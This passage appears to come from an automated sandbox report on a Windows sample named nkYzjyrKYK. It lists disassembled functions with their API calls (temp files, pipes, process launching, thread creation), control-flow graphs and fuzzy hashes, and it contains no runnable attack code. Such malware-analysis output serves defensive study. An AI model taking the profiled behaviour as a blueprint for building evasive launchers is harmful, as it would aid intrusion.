                                                                                            • Part of subcall function 004099C7: CloseHandle.KERNEL32(?,?,?,00409BAF,?), ref: 004099F5
                                                                                          • HeapFree.KERNEL32(00000000,?), ref: 00409F37
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: Handle$Close$CreateCriticalSectionwcscat$PipeProcesswcscpywcslen$CurrentEnterHeapLeaveObjectSingleWaitmemset$AllocDuplicateExecuteFreeShell
                                                                                          • String ID: $0A$x
                                                                                          • API String ID: 550696126-3693508903
                                                                                          • Opcode ID: b00f057bc40639e3ebc36098d4fb4d898885556d00f241ad15d102da0fe35fa9
                                                                                          • Instruction ID: 1938edec6f8ec7f018cd84e447521b205a2f1ffc1a01eed9409a43f0bd8935e3
                                                                                          • Opcode Fuzzy Hash: b00f057bc40639e3ebc36098d4fb4d898885556d00f241ad15d102da0fe35fa9
                                                                                          • Instruction Fuzzy Hash: 8AE15B71908341AFD321DF24D841B9BBBE4FF84350F148A3FF499A2291DB799944CB9A
                                                                                          Function 0040196C Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 168COMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          APIs
                                                                                            • Part of subcall function 0040E660: TlsGetValue.KERNEL32(0000000D,?,00402EF9,00000000,00000000,00000000,00000000,?,0040118D,00000000,00000000,00000000,00000001,00000004,00000000,00417064), ref: 0040E677
                                                                                          • GetTempFileNameW.KERNEL32(?,00417024,00000000,00000000,?,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00404519), ref: 00401A3B
                                                                                          • GetTempFileNameW.KERNEL32(00417024,00000000,00000000,00000000,?,00000000,00000000,?,00417024,00000000,00000000,?,00000000,00000000,00000400,00000000), ref: 00401A90
                                                                                          • GetTempFileNameW.KERNEL32(00417024,00000000,00000000,00000000,?,00000000,00000000,00417024,00000000,00000000,00000000,?,00000000,00000000,?,00417024), ref: 00401AE5
                                                                                          • PathAddBackslashW.SHLWAPI(00417024,00000000,00000000,00000000,?,00000000,00000000,00417024,00000000,00000000,00000000,?,00000000,00000000,?,00417024), ref: 00401AF0
                                                                                          • PathRenameExtensionW.SHLWAPI(?,00000000,?,00000000,00000000,00417024,00000000,00000000,00000000,?,00000000,00000000,00417024,00000000,00000000,00000000), ref: 00401B2F
                                                                                          • GetTempFileNameW.KERNEL32(00417024,00000000,00000000,?,00000000,?,00000000,00000000,00417024,00000000,00000000,00000000,?,00000000,00000000,00417024), ref: 00401B49
                                                                                            • Part of subcall function 0040E520: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040E526
                                                                                            • Part of subcall function 0040E520: TlsGetValue.KERNEL32(0000000D), ref: 0040E535
                                                                                            • Part of subcall function 0040E520: SetLastError.KERNEL32(?), ref: 0040E54B
                                                                                            • Part of subcall function 0040E560: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040E56C
                                                                                            • Part of subcall function 0040E560: RtlAllocateHeap.NTDLL(00980000,00000000,?), ref: 0040E599
                                                                                            • Part of subcall function 0040E6C0: wcslen.MSVCRT ref: 0040E6D7
                                                                                            • Part of subcall function 0040E560: RtlReAllocateHeap.NTDLL(00980000,00000000,?,?), ref: 0040E5BC
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: FileNameTemp$Value$AllocateErrorHeapLastPath$BackslashExtensionRenamewcslen
                                                                                          • String ID: $pA$$pA$$pA$$pA
                                                                                          • API String ID: 368575804-1531182785
                                                                                          • Opcode ID: 291aedd6d8e0cd9606a79c5c54f9e5ca1a0afb1434a24687cb3d53f003eb9dfa
                                                                                          • Instruction ID: 7226354e244135f3a7293121bd0c5faf706f4cf1cd60fca57ba481f11b9cb304
                                                                                          • Opcode Fuzzy Hash: 291aedd6d8e0cd9606a79c5c54f9e5ca1a0afb1434a24687cb3d53f003eb9dfa
                                                                                          • Instruction Fuzzy Hash: 3D510F71104304BED600BBB2DC42E7F7A6DEB84308F018C3FB540A50E2EA3D99655A6E
                                                                                          Function 00401000 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 108memoryCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          APIs
                                                                                          • memset.MSVCRT ref: 0040100F
                                                                                          • GetModuleHandleW.KERNEL32(00000000), ref: 0040101C
                                                                                          • HeapCreate.KERNEL32(00000000,00001000,00000000,00000000), ref: 00401035
                                                                                            • Part of subcall function 0040E4D0: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,00401053,00000000,00001000,00000000,00000000), ref: 0040E4DC
                                                                                            • Part of subcall function 0040E4D0: TlsAlloc.KERNEL32(?,00401053,00000000,00001000,00000000,00000000), ref: 0040E4E7
                                                                                            • Part of subcall function 0040A1C0: HeapCreate.KERNELBASE(00000000,00001000,00000000,0040106C,00000000,00001000,00000000,00000000), ref: 0040A1C9
                                                                                            • Part of subcall function 00409669: InitializeCriticalSection.KERNEL32(00418730,00000004,00000004,0040963C,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 00409691
                                                                                            • Part of subcall function 00408DEE: memset.MSVCRT ref: 00408DFB
                                                                                            • Part of subcall function 00408DEE: InitCommonControlsEx.COMCTL32(00000008,00001000), ref: 00408E15
                                                                                            • Part of subcall function 00408DEE: CoInitialize.OLE32(00000000), ref: 00408E1D
                                                                                            • Part of subcall function 004053B5: InitializeCriticalSection.KERNEL32(00418708,0040107B,00000000,00001000,00000000,00000000), ref: 004053BA
                                                                                          • GetStdHandle.KERNEL32(FFFFFFF5,00000000,00001000,00000000,00000000), ref: 0040109A
                                                                                            • Part of subcall function 0040A460: HeapAlloc.KERNEL32(00000000,0000003C,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 0040A47F
                                                                                            • Part of subcall function 0040A460: HeapAlloc.KERNEL32(00000008,00000015,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 0040A4A5
                                                                                            • Part of subcall function 0040A460: HeapAlloc.KERNEL32(00000008,FFFFFFED,FFFFFFED,00000010,00010000,00000004,00000200,?,?,?,?,004010C3,00000004,00000015,00000000,00000200), ref: 0040A502
                                                                                            • Part of subcall function 0040AA5A: HeapFree.KERNEL32(00000000,?,?,?,00000000,?,?,?,004010CE,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000), ref: 0040AA98
                                                                                            • Part of subcall function 0040AA5A: HeapFree.KERNEL32(00000000,?,?,00000000,?,?,?,004010CE,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000), ref: 0040AAB1
                                                                                            • Part of subcall function 0040AA5A: HeapFree.KERNEL32(00000000,00000000,?,00000000,?,?,?,004010CE,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000), ref: 0040AABB
                                                                                            • Part of subcall function 0040A9C8: HeapAlloc.KERNEL32(00000000,00000034,?,?,?,004010E9,00000008,00000000,0041706C,00000007,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 0040A9DB
                                                                                            • Part of subcall function 0040A9C8: HeapAlloc.KERNEL32(FFFFFFF5,00000008,?,?,?,004010E9,00000008,00000000,0041706C,00000007,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 0040A9F0
                                                                                            • Part of subcall function 0040E266: RtlAllocateHeap.NTDLL(00000000,FFFFFFDD,?,00000200,?,?,?,0040112D,0000000C,000186A1,00000007,00417074,004180F0,00000004,00000000,00417064), ref: 0040E296
                                                                                            • Part of subcall function 0040E266: memset.MSVCRT ref: 0040E2D1
                                                                                          • SetConsoleCtrlHandler.KERNEL32(00000000,00000001,00000004,00000000,00417064,00000008,0000000C,000186A1,00000007,00417074,004180F0,00000004,00000000,00417064,00000008,00000008), ref: 0040116F
                                                                                            • Part of subcall function 0040E520: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040E526
                                                                                            • Part of subcall function 0040E520: TlsGetValue.KERNEL32(0000000D), ref: 0040E535
                                                                                            • Part of subcall function 0040E520: SetLastError.KERNEL32(?), ref: 0040E54B
                                                                                            • Part of subcall function 0040E560: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040E56C
                                                                                            • Part of subcall function 0040E560: RtlAllocateHeap.NTDLL(00980000,00000000,?), ref: 0040E599
                                                                                            • Part of subcall function 00401BA0: LoadLibraryExW.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,0040119C,004180A0,00000000), ref: 00401BDE
                                                                                            • Part of subcall function 00401BA0: EnumResourceTypesW.KERNEL32(00000000,00000000,00000000), ref: 00401BFB
                                                                                            • Part of subcall function 00401BA0: FreeLibrary.KERNEL32(?,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,0040119C,004180A0), ref: 00401C03
                                                                                          • HeapDestroy.KERNEL32(00000000,004180A0,00000000,00000000,00000000,00000001,00000004,00000000,00417064,00000008,0000000C,000186A1,00000007,00417074,004180F0,00000004), ref: 004011C6
                                                                                          • ExitProcess.KERNEL32(00000000,004180A0,00000000,00000000,00000000,00000001,00000004,00000000,00417064,00000008,0000000C,000186A1,00000007,00417074,004180F0,00000004), ref: 004011CB
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: Heap$Alloc$Free$CreateInitializememset$AllocateCriticalErrorHandleLastLibrarySectionValue$CommonConsoleControlsCtrlDestroyEnumExitHandlerInitLoadModuleProcessResourceTypes
                                                                                          • String ID: .pA$:pA$|pA
                                                                                          • API String ID: 1832782000-3272395972
                                                                                          • Opcode ID: e7f32bf2566b166e90da22a76ab727083cf26bbbb94d3fc8ba97ce05dc44ab59
                                                                                          • Instruction ID: c3718d3f77f1aa7f822ccfb4f0aafd009571b65037601bc21910cdbb085b96b1
                                                                                          • Opcode Fuzzy Hash: e7f32bf2566b166e90da22a76ab727083cf26bbbb94d3fc8ba97ce05dc44ab59
                                                                                          • Instruction Fuzzy Hash: 77313271680704A9E200B7B39C47F9E3A18AB1874CF11883FB744790E3DEBC55584A6F
                                                                                          Function 0040B140 Relevance: 9.2, APIs: 6, Instructions: 157filememoryCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 243 40b140-40b156 244 40b160-40b173 call 40db18 243->244 245 40b158 243->245 248 40b322-40b32b 244->248 249 40b179-40b180 244->249 245->244 250 40b182-40b18a 249->250 251 40b1be-40b1c1 249->251 252 40b191-40b197 250->252 253 40b18c 250->253 254 40b1c3-40b1cb 251->254 255 40b1fc-40b1ff 251->255 256 40b199 252->256 257 40b19c-40b1b9 CreateFileW 252->257 253->252 258 40b1d2-40b1d8 254->258 259 40b1cd 254->259 260 40b201-40b20d 255->260 261 40b268 255->261 256->257 264 40b26c-40b26f 257->264 265 40b1da 258->265 266 40b1dd-40b1fa CreateFileW 258->266 259->258 262 40b218-40b21e 260->262 263 40b20f-40b214 260->263 261->264 267 40b220-40b223 262->267 268 40b227-40b247 CreateFileW 262->268 263->262 269 40b275-40b277 264->269 270 40b30b 264->270 265->266 266->264 267->268 268->269 271 40b249-40b266 CreateFileW 268->271 269->270 273 40b27d-40b284 269->273 272 40b30f-40b312 270->272 271->264 274 40b314 272->274 275 40b316-40b31d call 40da8a 272->275 276 40b2a2 273->276 277 40b286-40b28c 273->277 274->275 275->248 280 40b2a5-40b2d2 276->280 277->276 279 40b28e-40b2a0 HeapAlloc 277->279 279->280 281 40b2f0-40b2f9 280->281 282 40b2d4-40b2da 280->282 283 40b2fb 281->283 284 40b2fd-40b2ff 281->284 282->281 285 40b2dc-40b2ea SetFilePointer 282->285 283->284 284->272 286 40b301-40b30a 284->286 285->281
                                                                                          APIs
                                                                                          • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,?,?,?,?,00000000,00000000), ref: 0040B1B1
                                                                                          • CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000080,00000000,?,?,?,?,00000000,00000000), ref: 0040B1F2
                                                                                          • CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00000000,00000000), ref: 0040B23C
                                                                                          • CreateFileW.KERNEL32(?,40000000,?,00000000,00000005,00000000,00000000,?,?,?,00000000,00000000), ref: 0040B25E
                                                                                          • HeapAlloc.KERNEL32(00000000,00001000,?,?,?,?,00000000,00000000), ref: 0040B297
                                                                                          • SetFilePointer.KERNEL32(?,00000000,?,00000002), ref: 0040B2EA
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: File$Create$AllocHeapPointer
                                                                                          • String ID:
                                                                                          • API String ID: 4207849991-0
                                                                                          • Opcode ID: 1dd6c58127759367adb822d4a0e0d9138a9c495b34507b1400e0ba0402d2ad51
                                                                                          • Instruction ID: 8d8b4ccba24edc48a090e0818cc57ca2d498b7de68d829e88f81714118269cc7
                                                                                          • Opcode Fuzzy Hash: 1dd6c58127759367adb822d4a0e0d9138a9c495b34507b1400e0ba0402d2ad51
                                                                                          • Instruction Fuzzy Hash: D251B171244301ABE3208E15DC49B6BBAE5EB44764F24493EFD81A63E0D779E8458B8D
                                                                                          Function 0040DE99 Relevance: 7.6, APIs: 5, Instructions: 106memoryCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 287 40de99-40deb8 288 40deba-40debc 287->288 289 40debe-40dec0 287->289 288->289 290 40df72-40df85 RtlAllocateHeap 289->290 291 40dec6-40decb 289->291 293 40df87-40dfa5 290->293 294 40dfbd-40dfc3 290->294 292 40ded0 call 40e0c3 291->292 295 40ded5-40dee9 EnterCriticalSection 292->295 296 40dfb0-40dfb7 InitializeCriticalSection 293->296 297 40dfa7-40dfa9 293->297 298 40def7-40def9 295->298 296->294 297->296 299 40dfab-40dfae 297->299 300 40deeb-40deee 298->300 301 40defb 298->301 299->294 303 40def0-40def3 300->303 304 40def5 300->304 302 40df07-40df1b HeapAlloc 301->302 305 40df65-40df70 LeaveCriticalSection 302->305 306 40df1d-40df2f call 40de99 302->306 303->304 307 40defd-40df05 303->307 304->298 305->294 309 40df34-40df38 306->309 307->302 307->305 309->305 310 40df3a-40df5a 309->310 311 40df5c 310->311 312 40df5f 310->312 311->312 312->305
                                                                                          APIs
                                                                                          • EnterCriticalSection.KERNEL32(00418684,0041867C,0040E062,00000000,FFFFFFED,00000200,77355E70,0040A4F6,FFFFFFED,00000010,00010000,00000004,00000200), ref: 0040DEDA
                                                                                          • HeapAlloc.KERNEL32(00000000,00000018,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 0040DF11
                                                                                          • LeaveCriticalSection.KERNEL32(00418684,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000,00000000), ref: 0040DF6A
                                                                                          • RtlAllocateHeap.NTDLL(00000000,00000038,00000000,FFFFFFED,00000200,77355E70,0040A4F6,FFFFFFED,00000010,00010000,00000004,00000200), ref: 0040DF7B
                                                                                          • InitializeCriticalSection.KERNEL32(00000020,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000,00000000), ref: 0040DFB7
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: CriticalSection$Heap$AllocAllocateEnterInitializeLeave
                                                                                          • String ID:
                                                                                          • API String ID: 1272335518-0
                                                                                          • Opcode ID: d472077d75a53df2d0dde7d61b18959a765d34bb65c31e97d0a70733ac938e24
                                                                                          • Instruction ID: e12e1174ac54fca87ec7e67201d5359a366fc17122bfc308660e030bf91fb77e
                                                                                          • Opcode Fuzzy Hash: d472077d75a53df2d0dde7d61b18959a765d34bb65c31e97d0a70733ac938e24
                                                                                          • Instruction Fuzzy Hash: 90318D71940B069BC3208F95D844A52FBF0FB44720B19C93EE446A77A0DB78E908CB99
                                                                                          Function 00403F53 Relevance: 7.6, APIs: 3, Strings: 1, Instructions: 571COMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 313 403f53-403f54 314 403f59-403f64 313->314 314->314 315 403f66-403f7c call 40e660 314->315 318 403f7e-403f86 315->318 319 403f88-403fea call 40e520 * 2 call 405dc0 call 40e560 call 40e520 call 40e6c0 * 2 call 40e560 318->319 320 403fec-403ffd 318->320 319->318 319->320 322 403fff-404007 320->322 324 404009-40406b call 40e520 * 2 call 405dc0 call 40e560 call 40e520 call 40e6c0 * 2 call 40e560 322->324 325 40406d-40407e 322->325 324->322 324->325 328 404080-404088 325->328 329 40408a-4040ec call 40e520 * 2 call 405dc0 call 40e560 call 40e520 call 40e6c0 * 2 call 40e560 328->329 330 4040ee-4040ff 328->330 329->328 329->330 335 404101-404109 330->335 340 40410b-40416d call 40e520 * 2 call 405dc0 call 40e560 call 40e520 call 40e6c0 * 2 call 40e560 335->340 341 40416f-404180 335->341 340->335 340->341 346 404182-40418a 341->346 351 4041f0-404201 346->351 352 40418c-4041ee call 40e520 * 2 call 405dc0 call 40e560 call 40e520 call 40e6c0 * 2 call 40e560 346->352 358 404203-40420b 351->358 352->346 352->351 364 404275-404286 358->364 365 40420d-404273 call 40e520 * 2 call 405dc0 call 40e560 call 40e520 call 40e6c0 * 2 call 40e560 358->365 372 404288-404290 364->372 365->358 365->364 379 404292-4042f0 call 40e520 * 2 call 405dc0 call 40e560 call 40e520 call 40e6c0 * 2 call 40e560 372->379 380 4042fa-40430b 372->380 491 4042f5-4042f8 379->491 388 40430d-404315 380->388 396 404317-40437d call 40e520 * 2 call 405dc0 call 40e560 call 40e520 call 40e6c0 * 2 call 40e560 388->396 397 40437f-404390 388->397 396->388 396->397 399 404392-40439a 397->399 409 404404-4045ee call 40e520 call 40e6c0 * 2 call 40e560 call 40e520 call 403221 call 40e560 call 40985e GetModuleHandleW call 40e520 * 4 call 40d780 call 405182 call 405eb0 call 40e560 call 40e520 * 4 call 40d780 call 405182 call 405eb0 call 40e560 call 402e49 call 40e520 call 402150 call 4051a0 call 40196c call 40469c call 40e520 call 405100 call 403539 call 40e560 PathRemoveBackslashW call 402068 call 40e520 * 2 call 402ba6 call 40e720 call 405182 call 4099a5 call 4051a0 call 40e520 call 40e6c0 * 2 call 40e560 call 403801 call 40e520 call 401e66 call 40e560 399->409 410 40439c-404402 call 40e520 * 2 call 405dc0 call 40e560 call 40e520 call 40e6c0 * 2 call 40e560 399->410 589 4045f0-404606 call 40548c 409->589 590 404608-40460c call 402c55 409->590 410->399 410->409 491->372 491->380 594 404611-404621 call 403c83 589->594 590->594 596 404626-40469b SetConsoleCtrlHandler call 401fba call 40e5f0 * 9 594->596
                                                                                          APIs
                                                                                            • Part of subcall function 0040E560: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040E56C
                                                                                            • Part of subcall function 0040E560: RtlAllocateHeap.NTDLL(00980000,00000000,?), ref: 0040E599
                                                                                            • Part of subcall function 0040E520: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040E526
                                                                                            • Part of subcall function 0040E520: TlsGetValue.KERNEL32(0000000D), ref: 0040E535
                                                                                            • Part of subcall function 0040E520: SetLastError.KERNEL32(?), ref: 0040E54B
                                                                                            • Part of subcall function 0040E6C0: wcslen.MSVCRT ref: 0040E6D7
                                                                                            • Part of subcall function 0040E560: RtlReAllocateHeap.NTDLL(00980000,00000000,?,?), ref: 0040E5BC
                                                                                          • GetModuleHandleW.KERNEL32(00000000,?,?,?,00000000,00000000,?,00989768,00000000,00000000), ref: 0040445B
                                                                                          • PathRemoveBackslashW.SHLWAPI(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00404554
                                                                                            • Part of subcall function 00402BA6: GetShortPathNameW.KERNEL32(00989768,00989768,00002710), ref: 00402BE0
                                                                                            • Part of subcall function 0040E720: TlsGetValue.KERNEL32(0000000D,?,?,00401DDF,00000000,00000000,00000000,FFFFFFF5,00000200,0000000A,00000000,00000000,FFFFFFF5,00000015,00000001,00000000), ref: 0040E72A
                                                                                            • Part of subcall function 00405182: TlsGetValue.KERNEL32(00000000,00402F8A,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000,00000000), ref: 00405189
                                                                                            • Part of subcall function 004099A5: SetEnvironmentVariableW.KERNELBASE(00989768,00989768,00404594,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004099BE
                                                                                            • Part of subcall function 00401E66: PathQuoteSpacesW.SHLWAPI(?,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,004045DB,00000000,00000000,00000000,00989768,00988DC0,00000000,00000000), ref: 00401E9B
                                                                                          • SetConsoleCtrlHandler.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00989768,00988DC0,00000000,00000000,00000000), ref: 00404636
                                                                                            • Part of subcall function 0040548C: CreateThread.KERNEL32(00000000,00001000,?,?,00000000,00989768), ref: 004054A5
                                                                                            • Part of subcall function 0040548C: EnterCriticalSection.KERNEL32(00418708,?,?,?,?,00402DD8,00000000,00000000,?,0000000A,?,00000000,00000001,00000000,00000000,00000000), ref: 004054B7
                                                                                            • Part of subcall function 0040548C: WaitForSingleObject.KERNEL32(00000008,00000000,00000000,?,?,?,?,00402DD8,00000000,00000000,?,0000000A,?,00000000,00000001,00000000), ref: 004054CE
                                                                                            • Part of subcall function 0040548C: CloseHandle.KERNEL32(00000008,?,?,?,?,00402DD8,00000000,00000000,?,0000000A,?,00000000,00000001,00000000,00000000,00000000), ref: 004054DA
                                                                                            • Part of subcall function 0040548C: LeaveCriticalSection.KERNEL32(00418708,?,?,?,?,00402DD8,00000000,00000000,?,0000000A,?,00000000,00000001,00000000,00000000,00000000), ref: 0040551D
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: Value$Path$AllocateCriticalErrorHandleHeapLastSection$BackslashCloseConsoleCreateCtrlEnterEnvironmentHandlerLeaveModuleNameObjectQuoteRemoveShortSingleSpacesThreadVariableWaitwcslen
                                                                                          • String ID: pA
                                                                                          • API String ID: 2577741277-3402996844
                                                                                          • Opcode ID: 02fc4b5e4cf3e2b062acb6fd4e75bc4e4b77abc282d734037bd608deb4f56764
                                                                                          • Instruction ID: 999f5745f1e250978be3a13d4136388ffeb6a971fca5c6bbec0ef146a0a58392
                                                                                          • Opcode Fuzzy Hash: 02fc4b5e4cf3e2b062acb6fd4e75bc4e4b77abc282d734037bd608deb4f56764
                                                                                          • Instruction Fuzzy Hash: 4712FAB5504304BED600BBB29C8197F77BCEB89718F10CC3FB544A6192EA3CD9559B2A
                                                                                          Function 00403C83 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 128COMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          APIs
                                                                                            • Part of subcall function 0040E660: TlsGetValue.KERNEL32(0000000D,?,00402EF9,00000000,00000000,00000000,00000000,?,0040118D,00000000,00000000,00000000,00000001,00000004,00000000,00417064), ref: 0040E677
                                                                                            • Part of subcall function 0040E520: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040E526
                                                                                            • Part of subcall function 0040E520: TlsGetValue.KERNEL32(0000000D), ref: 0040E535
                                                                                            • Part of subcall function 0040E520: SetLastError.KERNEL32(?), ref: 0040E54B
                                                                                            • Part of subcall function 0040E6C0: wcslen.MSVCRT ref: 0040E6D7
                                                                                            • Part of subcall function 0040E560: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040E56C
                                                                                            • Part of subcall function 0040E560: RtlAllocateHeap.NTDLL(00980000,00000000,?), ref: 0040E599
                                                                                          • PathQuoteSpacesW.SHLWAPI(00000000,00000000,00988E40,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00404626,00000000,00000000,00000000,?), ref: 00403CE6
                                                                                            • Part of subcall function 0040E560: RtlReAllocateHeap.NTDLL(00980000,00000000,?,?), ref: 0040E5BC
                                                                                          • PathQuoteSpacesW.SHLWAPI(?,00000000,00000000,0041702A,00000000,00000000,00000000,00000000,00988E40,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00403D1F
                                                                                            • Part of subcall function 0040AE75: GetCurrentDirectoryW.KERNEL32(00000104,00000000,00000104,00000000,?,?,0000000A,004037B6,00000000,00000000,00000000,?,00000000,00000000,00000000,00404746), ref: 0040AE8B
                                                                                            • Part of subcall function 0040E720: TlsGetValue.KERNEL32(0000000D,?,?,00401DDF,00000000,00000000,00000000,FFFFFFF5,00000200,0000000A,00000000,00000000,FFFFFFF5,00000015,00000001,00000000), ref: 0040E72A
                                                                                            • Part of subcall function 00405182: TlsGetValue.KERNEL32(00000000,00402F8A,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000,00000000), ref: 00405189
                                                                                            • Part of subcall function 004098F7: WaitForSingleObject.KERNEL32(00989768,00000000,?,?,?,00403DC7,?,00000000,00000000,00000000,0041702A,?,00000000,00000000,00000000,00000044), ref: 00409904
